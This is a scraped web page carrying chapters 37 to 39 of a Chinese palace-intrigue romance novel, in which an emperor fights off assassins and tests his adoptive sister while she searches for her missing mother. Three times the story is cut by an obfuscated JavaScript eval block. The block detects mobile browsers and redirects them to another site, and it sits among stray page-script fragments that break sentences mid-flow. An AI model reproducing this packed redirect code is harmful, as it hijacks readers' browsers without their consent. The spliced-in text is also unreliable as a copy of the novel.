鼻尖萦绕着淡淡的馨香,是这妹妹身上特有的气味,随着身体的温度散发出来。 曲闻昭不知怎的觉得喉咙有些发干,他不喜这种感觉,往后靠了靠,却不想身前的人因惯性撞了上来。 这一下力道不算大,却像一根屈起的手指,在心间扣了下,不疼,却震颤许久,久到发麻发痒。 他深吸一口气,那股甜香又不依不饶缠了上来,让人浑身发麻发痒。 身下不合时宜得传来异样。 烦躁,自厌,隐忍,所有的情绪如潮水翻涌,虽是要冲破堤口,又被他死死按下,直到一只手伸来牵住了她的手。 轻轻一拨,熟悉得气息将刚压下去的那股燥热以洪流决堤之势又搅了起来。 曲闻昭怕再无法维持下去,站起身。也是这一步动作,让山道上的豺狼锁向了二人。 窸窣的脚步声如蛇话落雪地,以极快的速度朝这边包裹着逼近。 37. 第 37 章 安玥虽不明白皇兄为何如此,打了个哆嗦,想推他,让他先走,可一伸手,指尖好似生了钉子,死死粘在曲闻昭的袖子上。 她强忍着哆嗦想松手,却觉得指骨僵硬,不听使唤,难以弯曲或是伸展,只能瞪着一双眼睛盯着山道。 曲闻昭瞧见她这样子便知是怎么回事,他拉过她手,将她拽到身后。他把灯递到安玥手里,“拿着。” 三名追上来的刺客站在不远处,同这位新帝对视。 曲闻昭半个身子站在黑暗中,轻飘飘抬起眼,本是生死攸关的时刻,他眼底不见半分恐惧。 颀长的身形站在雪地中,遗世而独立,偏生眼尾轻挑,不似山神,倒像是鬼魅。 这世上有一种人最恐怖,便是不惧生死,也无情感的人。这种人是彻头彻尾的疯子。 那几人一时有些忌惮,但他们反应极快,只一瞬,提剑杀来。曲闻昭避开刀刃,手中匕首反手刺进刺客的脖颈中。 便听惨叫一声,没了动静。 安玥一低头,便见那尸体滚落在脚下,瞪着一双眼睛。她捂住唇,顾不得恐惧,看向不远处和刺客对峙的皇兄。 另外二人见曲闻昭会武,动作僵了瞬,再度攻向曲闻昭。 “皇兄小心!” 曲闻昭早有预料般避开砍来的刀刃,与此同时黑暗中传来“咻”得一声,银镞沾了血,从刺客的胸口处冒出。 温热的鲜血坠在雪泥中,尸体“砰”得倒在地上,血泥四溅。 与此同时另一名刺客也被赶来的暗卫拿下。 男子单膝跪下,“属下救驾来迟。” 是林敬。 曲闻昭将染了血的帕子扔下,“自去领罚。” “是!” 他盯着还在挣扎的暗卫,面容和煦,冰雪初融时,往往让人觉得寒意更甚,“谁派你来的?” 回应他的是漫长的死寂。刺杀不是小事,所有人屏住呼吸。 “不说?”曲闻昭抬起眼。 晨光微熹,天边泛起一抹灰白色。 他神色仍是平淡,轻轻飘下一句,“带下去。” 林敬大声应了声“是!”,后面的侍从拖着人往山下走去。 那刺客腿骨被匕首刺穿了,仍汩汩冒着鲜血。在雪地里拖出痕迹。 他微微侧目,回想起鹧鸪般缩在角落的安玥,“还能走吗?” 安玥点了下头,一瘸一拐朝他挪来。曲闻昭叹了口气,将鹤氅解下,垫在一块矮凳大小的石上,“坐吧。” “皇兄的衣裳……” 曲闻昭似是在笑:“衣裳哪有妹妹重要?” 安玥被这眼神晃了下,她扶着曲闻昭伸来的手臂坐下,眼里带着歉意,“谢谢皇兄。” 曲闻昭在她面前蹲下,一只手轻轻抓住她脚踝,安玥没忍住往后缩了下。曲闻昭抬起头,“疼?” 她没忍住笑出声来:“痒。” 曲闻昭一手托着她脚,另一只手微微用力,似是要去脱她靴子。 安玥急急将他打断,“不…不用了!” 曲闻昭眉心微微蹙了下,抬起头,看清她泛红的耳垂。 他明知故问:“妹妹在想什么?” “我能不能扶着皇兄的胳膊,提脚跳下去?” 这石阶至少有数千阶,更何况雪天路滑,她能跳下去才是真的撞鬼了。 曲闻昭面色不变:“不如我下去叫人抬你怎么样?” 安玥哪里还敢一个人待在这地方?连忙摇头,救命稻草般抓住曲闻昭袖子,“不成!” 曲闻昭看了眼安玥拽着自己袖子的那只手,心底升起的不耐竟稍稍熄了些,“你想怎么样?” 她声音弱了些,“都可以。” 曲闻昭解了她鞋袜,露出雪白的足。白皙的脚踝处有一颗红色的小痣,需极亲近方能发现的。 温热的呼吸喷洒在脚背上,安玥脚趾没忍住蜷了下,牵动伤处,疼得倒吸一口凉气。曲闻昭把她这点细微的动作尽收眼底,未像往常一般逗她,他用手丈量了下位置,“哪块骨头,这块吗?” 安玥点点头,指腹上的薄茧蹭过脚背,她痒得脚下意识往回缩,被曲闻昭抓着,进退不得。她脚趾都蜷在一块,不好意思提,道:“连累皇兄……嘶……”她话未说完,“咔哒”一声,脱臼了的骨头复位。 曲闻昭收回手。 她顾不得疼,目光微亮,“好了?” 安玥穿上鞋袜,扶着曲闻昭递来的手起身,走了两步,先前拉扯的地方仍有些疼,但较原先已然好多。 “好了!好厉害。” 曲闻昭见她一瘸一拐跳脱的样子,眉心跳了跳,被他压下。 “走吧。” 她腿伤刚好,走得仍有些慢。曲闻昭耐着性子等她,却绝口不提背她。 “皇兄好厉害,上哪儿学的这些?” 安玥点点头,待要出声,脚下生滑,她趔趄了下,刚好撞到曲闻昭的后背,一阵眼冒金星。 曲闻昭察觉到动静,扭头看她,见她捂着鼻子,眼泪花都冒出来了。 他笑了声,伸出手臂,“扶着我。” 安玥抓住他递来的手臂,眼底闪过促狭,“皇兄不能背我吗?” 曲闻昭忍着没把她甩脱,似笑非笑看她,“这时候不会不好意思了?” “皇兄不喜欢我,为什么要帮我?” 她不喜弯绕,感觉到曲闻昭不会杀她,但也能看出皇兄有些奇怪。 他眼底的笑意似乎永远浮着一层,要细看才能察觉到。 “你怎么看出我不喜欢你?” “那皇兄是喜欢我?” 回应她的是难得的沉默。安玥笑了笑,“皇兄,人如果一直带着面具会很累。你为什么不能试着相信我?不管是什么样的皇兄,都是皇兄不是吗?” 曲闻昭有片刻怔神,紧接着目光凉了瞬,他眸光下移,眼中情绪随着冰雪落在安玥的鬓间,消融。他伸出一根手指戳了一下她的脑门,“不要试探我,不然我把你扔下去。” 安玥见他神色认真不似作伪,赶忙抓紧曲闻昭手臂,不说话了。 “那皇兄可知,是何人要杀我们?” “是杀我,不是你。”曲闻昭纠正,“或许能猜到?妹妹以为是谁?” 安玥摇摇头。 曲闻昭忽然停住脚步,有一搭没一搭捏着她的手,弯下腰,盯着安玥的眼睛,“妹妹可以猜一下。” 安玥觉得皇兄捏得不是自己的手,是骨头,分明未用力,可她觉得皇兄随时要捏断自己的指骨。这个念头一冒出来,她没忍住往后退了退,险些撞到身后突出的石头。一只手伸出护住她的头,“小心。” “或许是……”安玥迟疑了下,迎着曲闻昭含笑的视线,还是把那两个字说出来,“国师?” “哦?”曲闻昭似是起了些兴趣,他扶着她往山下一步一步走去,“为什么这么猜?” “也许是安玥猜错了。” “或许并未猜错呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812346|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “皇兄要如何处置国师?”她话落,后颈一凉,一只手在她脖颈处捏了下,爬上来的凉意逼得她没忍住打了个寒颤。 “妹妹想我如何处置他?” “不宜杀……或许国师还有价值呢?” 曲闻昭笑着看她:“比如?” “国师对皇兄下蛊,若只是控制人的蛊还好说,可这蛊太过厉害,若是败了根子,那皇兄……可国师没有兵权,名不正言不顺的,最好的办法是推举一个心志健全的皇子登位,又能保证绝对的控制权,堵住悠悠之口。安玥听闻当年安嫔有一子,是安玥的五皇弟,生死不明……但这只是安玥的想法。” 曲闻昭眸底笑意更甚。 安玥一时摸不清皇兄是什么意思,心里有些踟蹰,这般不上不下吊着,没敢说话。 等安玥回到镜烛宫时,天已大亮。清栀和若桃看清来人,连忙上前将人扶住,“公主,您没事吧?” 安玥见清栀第一句没问自己去哪,便知是有人来知会过了。她摇摇头,“没事。” 若桃双手合十,“阿弥陀佛,可真是吓死奴婢了。” 阁楼上了锁,又有人暗中把守,若要再上前,怕是会引起怀疑。 无论如何,她要先和国师见一面。 接连两日,安玥用过膳,都会御花园散步消食。直到一团纸团再度滚落到脚边。 纸团打开:西山,凉亭。 因上回的事还让人心有余悸,安玥无法完全信任这帮人,这回带了暗卫,又有清栀跟着。 她到时,便见亭中站着名太监。但走近了,便能看出到那身太监服并不合身。 亭中人察觉到来了人,警惕地转过身,直到看清是安玥,他恭敬行礼,“公主。” “你是何人?” “小的魏辛,是国师大人身边的人。公主可有将解药拿来?” 安玥从袖中取出一个瓷瓶,魏辛双手掌心朝上要去接,安玥避开,“我母妃的下落。” 魏辛恭敬道:“能否容小的验过药?” “若是信不过本宫,国师可以另找旁人。” “非是信不过,只是怕公主寻错了药。公主,那蛊的厉害之处相必公主也略有耳闻,国师怕是撑不到那个时候。如今婉娘娘的下落只有国师方知道,便是属下也不知。等解药拿到,国师便让人带信给您,可好?” 安玥看他,“本宫怎知你不是在骗我?” 魏辛从袖中取出一枚药丸,递给安玥,“此药名为蜉蝣醉,有假死之效。当年婉娘娘便是服用此药,方骗过众人。公主可找人试药,看过症状便知。” 安玥目光颤了颤,接过那丸药,“你怎么知道这些?” “小的曾在娘娘身边侍候,娘娘离开后,小的本该被陛下迁怒赐死,是国师大人给了小的第二条命。小的已和盘托出,公主可能信小的了?” 她直视魏辛:“本宫在山上遇刺,可是你们派的人?” 魏辛有些惊讶,“小的还需公主拿药,又如何会做这样的事?” 安玥转身,“国师总得拿出些令人信服的证据,本宫又怎知国师告诉我的下落,不是作伪?” 魏辛咬牙,“公主要如何?” “如今我为主,你为仆。被囚的是你们。本宫肯答应拿药,是本宫的诚心。可你们遮遮掩掩毫无诚意,本宫也不介意用些非常手段。” 魏辛笑了声,也不再维持表面的和善,“公主可莫要虚张声势,公主是压根没盗出解药吧?” 38. 第 38 章 安玥背对着他,指尖微蜷,面色不变,“随你怎么想。” “公主,国师大人怕是撑不了太久了,又如何能受得住重刑?公主也不敢把事情闹大吧?若是公主拿不出解药,真相怕是只能随着大人一道埋到地下了。小的再给公主三日的时间,还望公主想清楚。” “你威胁我?” “不敢。” 安玥看了魏辛一眼,将手里的药瓶扔到魏辛手里,“这虽不是解药,但我暗中找人配的,或许能延缓一两日。” 她没再看魏辛,头也不回沿着山路下去。 安玥前脚刚离开,魏辛待要抄小路下去,余光瞥见几道人影闪过,他心下一惊,未来得及跑,胳膊传来撕裂般刺痛,他已被几人压倒在地。膝盖撞在石地上,“咚”得一声。 一双乌皮六合靴缓缓出现在视线里,细看可看到上面的豹纹。 他心下一惊,抬起头,虽认不得那张脸,但已猜到来人身份。 “大……大人为何抓小的?” 林敬一双虎目盯着地上的人。可惜公主此次也带了暗卫,他们的人不敢靠太近,未听清二人在说什么。 他语气冰冷,“有什么话,同陛下说去吧。” 魏辛被两个人拽起,一路拖下山去。 没套出有用的信息,安玥一路上有些闷闷不乐。 昨日那般一说,或许皇兄觉得国师有价值,暂时不会杀他? 她又有些担心,若是那丸药被皇兄查出来,她该如何解释? 安玥越想越后悔。若桃悄悄附到安玥耳边,“公主,奴婢打听了一下,阁楼虽封闭,但还是会有道官定期入阁中,记录天象,早晚各一次。” “最近一次是什何时?” “明早。” 安玥捏了捏若桃的脸,欣喜道:“好若桃。” 若桃唇角没忍住扬起些弧度,“能帮上公主便好。” 落日西沉,黑夜伸出爪牙,爬上天际。 石狴犴瞪着厉目,趴在狱门上。 另一侧,男人被绑在木架上,四肢被拉扯到极致。垂散的头发沾了汗水,黏在额头上。一滴汗顺着下巴滑入衣襟,刺激着绽裂的伤口。 血腥味与腐肉味混杂在一起,刺激着他的神智。 他试图默念经文以稳住心绪,眼睛刚一合上,外面传来脚步声, 脚步声靠近,“咚”得一声。 魏辛眼皮子一跳,瞥见玄色的蟒袍。来人就坐在太师椅上。 “魏辛。”来人声音不大不小,却清晰的传入他耳中,“孤记得你从前不是跟着姜婉么?易主了?” 喉咙干裂,他强忍住呕意,艰难启唇,“陛下……为何抓小的?” “孤很好奇,你们与我那个妹妹,有何事好谈?” “小的不知……陛下在说什么……” 曲闻昭眯着眼,眼里似有笑意。接连两次试探,能确定的是,安玥并不知自己的身世。看来不是威胁。 “姜婉没死?” 魏辛心下一惊,垂着头,自以为面上未表露半分,却不知这个角度,他的一点细微的表情早已暴露无遗。 笃,笃。 黑暗里,曲闻昭屈指叩击着椅柄,不知在想什么。 魏辛下意识咽了下口水,心中想着应对,那头再度传来声音,“八皇子被藏在何处?” 问题的跳跃让魏辛难以反应,他浑身颤了下,“小的……不知陛下何意。” “城外?” 他余光感受到那道视线便这般盯着自己,穿透人心。他咬着下唇,稳住心神,试图将一句句问话屏蔽在外。 “原来是城外。”曲闻昭笑了声。 他强压住心中惊惧,闭上眼。本以为曲闻昭会继续问下去,直到那头再度传来声音,“城外的府邸可不多。” 曲闻昭站起身,朝外面走去。 “即刻让人去查。” “是!” 黑暗里,一道人影窜离。 林敬跟在曲闻昭身后,“陛下适才为何不继续问姜贵妃的下落?” 曲闻昭缓缓抬眼,“让人盯紧阁楼,若她要进去,便放她进去。” “是。” 经上次一事,安玥不敢在夜里上山,便选了白日。 中途敲晕了本要上山的女官,安玥换上衣服,又拿到钥匙。 暗紫色的长袍,袍身上用银线绘成北斗七星的纹路。帽檐勾了一圈金纹,底下是一张精致的脸,明眸皓齿,一双狐狸眼,眼尾微微勾起,眸中明亮,却不失庄重。往下是殷红的唇。 她用钥匙打开大门,进入阁楼的一瞬间,一股沉重的乌木气息扑面而来。 “呼”得一声。四周挂着的壁灯在殿门打开的瞬间跟着亮起。照亮墙上的壁画。 她不敢耽搁,一路直奔顶楼。顶楼相对空荡些,中间的木板陷下去一块,摆着一只极大的星晷盘,用铜镀过,外盘刻有十二时辰。 她瞬着盘身往下,摸到一块凸起,她心中一定,往里面一摁—— 咕噜! 一只瓷瓶滚了下来。 她拿到瓷瓶,起身就要离开。却听楼梯处传来脚步声。 她面色一白,飞快将瓷瓶藏入衣袖中。机关复原。她不会傻到这时候冲下去,当机立断,闪身躲到供桌底下。 供桌用一块黄布盖住,布下是一排流苏,随着脚步离近,一双玄色的蟒靴出现在视线中。 安玥躲在底下,下意识屏住呼吸。 她心跳得飞快,把脚往里面缩了缩。心底一个劲祈祷。 下一瞬,那双脚停了下,紧接着缓缓朝这边走来。 噔…噔…噔。 安玥面色瞬间变得苍白,盯着那双靴子。每一步都像是踩在她心脏上。 木板微颤。 那双脚停在她面前,好在等了许久,那只靴子的主人似是从桌上拿走了什么东西,便有离开的趋势。 脚步声走远。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819068|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安玥在底下躲了会,直到平复情绪,确定人已离开,方从桌下钻出。 她在桌下蹲得太久,久到双腿发麻。等真正要站起来的时候,眼前发黑。 她蹲着缓了会,视线恢复的一瞬,面前不知何时多出一道袍角。 安玥看清那张脸,眼前又是一黑。她想起身,双腿一软,膝盖直接磕在地面上。 尴尬与惊惧排山倒海般轮番占据大脑,她心底苦笑一声,屈肘撑着地面,一张脸严严实实埋进手臂里。 身前的人好耐心得等了她许久,最后是安玥腿麻到没知觉,视死如归般仰起头,却不想正撞上头顶的视线。 她心尖颤了颤,呼吸都变得不畅。 漆黑的眸子里似有笑意,“妹妹何故行此大礼?” 他朝这边伸手,似是要扶她。 安玥脊背僵了僵,下意识往后退了两步。二人僵持,曲闻昭也好耐心得等她。 安玥想试着露出点笑容来,扯了半天没扯出。 “那……那说好,我走近了,你不能动手。”她艰难补了一句,“君子动口不动手……” 曲闻昭终于转过身,似笑非笑看着她。 安玥咬紧牙关,朝那头挪了挪步子。落在身上拿到视线实在磨人,就像是一把悬在头顶的刀,不知何时就会落下。她走了两步,最后索性小跑过去,抬手拉住曲闻昭袖子,“走……走吧。” 终于捱到最后一阶走完,安玥一口气松到底,往旁边趔趄了下,被曲闻昭反手拉稳。 她活过来般,注意到曲闻昭另一只手里的盒子,应是阁楼中拿下来的。她没敢问是什么,自己寻了个话题,“今日难得出太阳了。”她朝着太阳挂着的方向,抬起手,感受到一股暖意,“好暖和。” 曲闻昭微微侧目。身侧的人摘了帽子,半张脸迎着日光,羽睫沐浴在阳光下,如蝶翼般间或一颤。 她收回手,转过头,目光明显一怔,随即露出一抹笑来。 这笑容里也沾了暖意。 安玥回到镜烛殿时,已是正午。她用过膳,一个人坐在院中的长椅上。 她身上盖了层紫狐皮。从阁楼中拿到的那只瓷瓶被她捏在手里。 皇兄是知道她干得事了吧,可为什么没有拆穿她?是想等她拿着解药,套出母妃的下落? 一想到有这个可能,她面色瞬间变得苍白。她强迫自己莫要去想。 进了屋内,梨花木的书桌上换了灯,烛光泛黄。四季之景尽数映在灯屏上。灯下,一只白皙的手拿着枚玉石,另一只手拿着刻刀。 半宿过去,一只凤凰初显雏形。 若桃见公主还没睡,迷迷糊糊探出半个脑袋劝道:“公主,天色不早了,早些歇息啊。” 安玥打了个哈欠,揉了揉酸涩的眼睛,“好。” 她待要再刻,裙摆似被一只手扯了一下。可房内除了她,再无其它人。她登时吓得魂飞魄散,一低头,见是一只雪团子有一搭没一搭地扯她的衣裙。 39. 第 39 章 “吓死我了。”安玥想把他抱起,却见咪儿不紧不慢朝榻上走去,浑身都透着抹矜贵之气。 安玥后知后觉,将手上东西放下,将咪儿抱起,在他耳边道:“你是想我陪你歇息吗?” 咪儿盯着帐纱,不理她。 安玥虽不知为何咪儿到了夜里都会矜持许多,但不妨碍她逗弄他:“你若肯作娇撒痴一番,我就陪你。” 她话落,咪儿终于赏了她一个眼神,瞧着却极为不善。 安玥牵起的嘴角僵了下,抬手去挠他下巴。 帷幔放下,安玥看着头顶的纱帐,思绪飘散。 她不会天真的以为皇兄留着她是想让她刻玉佩。可如今皇兄觉得是母妃害死了祺嫔娘娘,若是她问出母妃下落,皇兄带人杀过去怎么办? 可若是母妃还活着,为何这些年对她不闻不问?母妃这些年过得如何? 但她到底没失了神智。她如今过去,与自投罗网无异。皇兄明明是想杀她的,可为什么没有动手? 今日之事,只是警告? * 后山有一湾冷泉,冬日里也不会结冰。 第二日夜里,安玥将刻好的玉佩放到泉水中浸泡,却未沉下。她一指套着绶带,透白的玉石随着泉水流动轻轻晃动。 一轮明月涓涓荡漾在泉水中,月霜铺洒在水面,雪光泠泠。 她打了个哈欠,拢了拢身上的狐裘。 清栀这几日受了风寒,身子尚未痊愈,便只有若桃跟着。 若桃站在她身后,压低声音,“这也太折腾人了些。” 安玥心下微惊,抬手捂住若桃的嘴,做了个嘘声的动作。 若桃瞪大了眼睛,反应过来,忙道:“奴婢失言。” 晚些时候起了风,她一时未注意,手边的灯笼被风吹进泉水里。灯中蜡烛倒下,绢纸在水面上烧着。安玥吓了一跳,连忙将玉佩捞起。 绢纸被水打湿,火灭了,升起黑烟。四周霎时昏暗下来。 她打了个寒颤,“若桃?” 没人应。 她下意识转头,见身后一道黑影压下,她心下一惊,没忍住“啊”了一声,整个人往后一倒,栽进池子里。 泉水呛进鼻子里,冒着寒气,裹遍全身。池子本不深,偏池底生滑,她站不稳,眼看就要摔下去,一只手先一步拽住她。 这手含着力道。 她浑身发冷,眼睛刺痛,勉强看清来人—— 是曲闻昭。 安玥打了个喷嚏,陡然想起先前那一摔,玉佩不知掉到哪里去了。她挣开曲闻昭的手,哆哆嗦嗦要去捞,被一只手拽住手臂往池子边缘一带,另一只手穿过她膝弯。她瞪大眼睛,还未反应过来,已经被捞了起来。 曲闻昭将她放在池边,沉沉盯着她,“池里很好玩?” 身上的狐裘浸了水,又冷又重,压在身上。她被这么盯着,想脱又不敢脱。 她总觉皇兄似乎生气了。这眼神是连她那日在山上都为见到过的。 她抱着膝,缩了缩脑袋,声音弱不可闻,“玉佩掉下去了。” 若非他吓着自己,她根本不会掉下去。这般一说,反倒全是她的错了。 曲闻昭瞧见她神色,便知她在想什么。他不冷不热,“先把衣服换了。” “那玉佩……” 曲闻昭一把拉过她的手腕将她带起,“胡禄。” 跟在身后的胡禄会意,忙吩咐守在前边的侍卫过来。 安玥跟在曲闻昭身后,冷得牙关打颤,便听身后响起“扑通扑通”的落水声。她衣裙吞满了水,沉甸甸贴在她身上。 曲闻昭走在前边,一回头,便见身后的人浑身湿透,和鹧鸪般缩着脖子,瑟瑟发抖,亦步亦趋跟着他身后。 每走两步地上便拖起一串水印子。 他停住,抬手解开狐裘上的绶带,狐裘顺势解下,“把衣服脱了。” “什……什么?”安玥愣了下,看清皇兄手上的衣裳,会意过来。她犹豫看了眼四周,见此处僻静无人,又有假山遮蔽,尚未想好动作,只觉身上一轻,一只手伸来,将她身上沾了水的外裳解下。紧接着厚重的狐裘带着一股淡淡的清冷气,裹了上来。 颈间微痒,曲闻昭的手背蹭过她的下巴,有条不紊系好裘带。安玥抬起目光,看清眼前之人低垂的眼睫。往下是一双漆黑的眸,眸光淡淡,看不清情绪。 曲闻昭收回手,拿了块帕子出来,替她将面上的水渍擦干。 她面色冻得苍白,双唇也无血色,唯有一双眼睛极亮,睁得大大得看着他。倒映出他完完整整的样子。 那一抹眸光极透,如明镜映着日光,似将心中某个隐蔽的角落晃了下。 他抓着帕子的手微微收紧,错开视线,“走吧。” 狐裘有些大了,露出一截,几乎要拖在地上。安玥将衣服裹紧了些,“皇……皇兄,若桃呢?” 她实在冻得不行,每个字都在颤。 曲闻昭反应了一下,意识到她问得是先前那个侍女,“我让她下去了。” “皇兄怎么在这儿?” “路过。” 此处离宁兴宫不算远,二人谈话的功夫,已有一顶肩舆稳稳停在不远处。 迈入大殿,侍女带着安玥到湢室沐浴。 沾了水的衣物解下,她浑身泡进浴池里。水温不算高,但她能感觉到身子逐渐回暖。 她沐浴时不习惯有外人在,便遣散了含凉殿的宫女。泡了阵,她觉得差不多了,从池子里出来。 先前为了侍疾,她在这留有几件衣物尚未带走,眼下正好能用得上。 她换了衣裙出去时,曲闻昭坐在案边,上面堆着一叠奏折,眼看高得就要倒下了,安玥忙上前将它们扶住。 曲闻昭感觉到有什么东西带着湿意,扫过手背,有些痒,混着熟悉的甜香,掺着皂角的香气,柔软,干净。 他稍稍抬头,见她换了一套鹅黄的袄裙,领口坠了珍珠。往上是白皙的脖颈,纤细。 她头发未擦干,湿漉漉得垂着,还滴着水。一双狐狸眼看着自己,有些局促。 曲闻昭抬手捏了捏她的脸,眼底含笑,有些慵懒。 殿外响起叩门声。 过了阵,有宫女端着一碗漆黑的药汁上来。 安玥看清那药是给自己的,胃里有些反酸。她将药碗端过。 药的温度刚好,端在手里不烫,反而很暖和。 曲闻昭忽得起身,往旁边让出些位置给她,“坐过来。” 安玥犹豫了下,应声坐了。她看着那碗漆黑的药汁,身子不自觉往后靠了靠,“不喝行么?” 他头也不抬,“你说呢?” 安玥忍着恶心灌了一口,刚咽下去些,随即呕了一声,含在口中的药汁尽数喷了出来。曲闻昭只觉得衣袖微热,似有什么东西滴答滴答往下淌。湿漉漉的。 他微微侧目,看到了袖子上的药汁,再边上,是安玥僵硬的脸。 曲闻昭将手伸入袖中,安玥见状忙往回一缩,却见他只拿出了一块沾了药汁的帕子。安玥见状,打了个激灵,忙取出自己的帕子替他擦拭。 “我来吧。” 曲闻昭不怒反笑,“你真有本事。” 安玥头垂下去,小声:“都说喝不了了……” 她动作一如既往地笨拙,擦拭衣袖时,会蹭到他手背。原本沾了药汁的袖子经她一拭,更是糟污一片。 她擦了半天,哆哆嗦嗦抬起头:“挺干净的。”她一抬头,触到他清明的眼神,面上的心虚无处遁形,“要不皇兄换身衣裳?” “药,喝完。”他起身朝殿外走去。 安玥见人走远,松了口气,却见一名小内侍从外边进来,站在她面前不远处,这是在做什么,不言而喻。 安玥有了先前的教训,这会改为一口一口慢慢喝。喝到最后,她已是面如土色,舌根发麻。 那内侍小步上前将药碗收拾好,退了出去。 发丝被她绞得半干。她在殿内不尴不尬坐了会,犹豫着要不要先跑。殿门打开了,一只玄靴踏入殿中。 曲闻昭换了一身槿紫的织金交领长袍,领口和袖子用丝线滚了边,腰间束玉带,盘龙环踞,他腰间坠得是枚玉佩。 莹润极了。 再往上,依旧是长眉入鬓,玉面朗目。 安玥收回神,就要起身,“皇兄……天色不早……” “不急。”曲闻昭已走到她身前,“上回妹妹在太液池畔险些落水,皇兄把那人抓了,妹妹希望如何处置?” 安玥愣了下,一时有些摸不透皇兄是何意。那人难道不是皇兄派的吗? 曲闻昭向身后做了个手势。殿外传来动静,一名太监被侍从提进殿,“陛下。” 那名太监低着头,看不清脸,但看身形气质,安玥几乎能确定这就是那名刺客。 曲闻昭问:“为何刺杀公主?” 他恨恨道:“我爹本是宫中匠人,当年房梁折断,狗皇帝一口咬死是匠人偷工减料,砍了我爹的头!却不知那房梁上的断痕,根本是人为砍断,我爹何辜?!而造成这一切的,是你的母妃姜婉!” “现在姜婉死了,自然得让她的女儿偿命!” “胡言乱语!”安玥顾不得害怕,上前两步,被曲闻昭伸手轻轻拉了回来,她半是惧半是怒:“我母妃为何要做这种事?!” “为何?!无非争宠罢了!” 安玥未深究这句争宠何意,却是怒极,不顾曲闻昭阻拦,冲上前去。 只听“啪”得一声脆响,安玥的手微微颤抖,“你含血喷人!我母妃不会做这种为了争宠草菅人命之事!况且……” 她深吸一口气,未说下去。 母妃去世那年,安玥虽只有九岁,但也能感觉得到,母妃似乎没有表面显现出来那般爱父皇。 又何必去争? 曲闻昭盯着安玥,却发现她双目气得通红,不似作伪。 也是,那时候他这好妹妹也不过一岁,不知此事也是正常。毕竟当年他母妃的死,几乎是当场就被老皇帝压下来了,这么多年,无人敢提。 那太监被打得头歪向一边,神色却半分不惧,“我早就看清了这世道,是非也不过是你们的一张嘴罢了。” 清栀在一旁,揉着安玥通红的掌心安慰,“哪里值得您亲自动手?以后这种事让奴婢来便好了。” 安玥眸里冷静了些,“你有什么证据证明此事?若是没有,便是诽谤后妃。” “证据?我就是证据!当年此事一出,陛下如此急着找替罪羊,究竟是替谁遮掩?!除了荣宠盛极一时的姜婉,我再找不到第二人!且此事过后,姜婉身边的侍女彩宁跟着病死。是意外还是灭口,我想公主在宫里见了这么多肮脏事,最清楚不过。” 母妃是什么样的人,她也最了解不过。 她冷静下来,冷眼看他,“这些也只是你的猜测而已。” “呵。”太监冷笑了声,“我从那夜起,便是冲着死去的,公主信与不信,对我来说没有分别。” “公主,奴才在地下等着您呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828667|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他话音刚落,鼻孔滑下两道黏腻,一双赤红得眼睛死死盯着安玥,竟是直挺挺地倒了下去。 一名羽林卫见状迅速上前,从袖中摸出一根羽毛放在那太监口鼻处试探了下,起身回禀,“陛下,没呼吸了。” 安玥未料到这突如其来的变故,面色苍白。 曲闻昭似是对这个结果早有预料,他面容不见半分情绪,“拖下去吧。” “皇兄,那人说的话,也只是猜测,并无证据,安玥相信母妃不是那样的人。” “那妹妹以为,大皇兄是什么样的人?” 大皇兄,前太子曲奕。 安玥觉得心好像没什么东西刺了下,“安玥那时不明白,如今好像有些明白了。自开国以来,储君都是立贤不立长。安玥虽然不知政事,但也能感觉到这几年五皇兄在朝中愈发势大,甚至有人开始提出要废太子。若是五皇兄登基,亦不会放过太子哥哥。一切发生得太突然,在我意料之外,可又有迹可循。我可以理解,只是没法原谅。” 曲闻昭倒未想到安玥会这么说,他盯着她,眼里似有笑意,“大皇兄死前说得话,你可还记得?” 安玥下意识想问是哪句,待触到曲闻昭神情,反应过来他指得是那句:“孤和五弟斗了这么些年,没想到最后会栽在你的手上。” “是因为哥哥不甘心?” 曲闻昭笑了声。 安玥被曲闻昭的反应弄得有些困惑,“可皇兄救驾清君侧是事实。而且安玥看得出,当时父皇把圣旨给皇兄,皇兄却没有急着收,而是等父皇把遗愿说完。不管别人怎么说,安玥相信皇兄是极好的人。母妃也是。” 曲闻昭目光怔了下,但只一瞬,他看着安玥,见她神色认真,不似作伪,更不是讥讽。 他有些想笑,却不知怎的没笑出声。 极好的人。 可惜,他不是,姜婉也不是。 看来她这妹妹看人的眼光不怎么样。 安玥后背起了冷汗,夜里风透过隔扇一吹,她冷得打了个寒颤。 曲闻昭微微侧目,便见她一言不发站在他身后,面色苍白。 他到矮榻坐下,倒了杯茶,“妹妹可以回去了。” 安玥垂下头,吸了吸鼻子,“臣妹告退。” 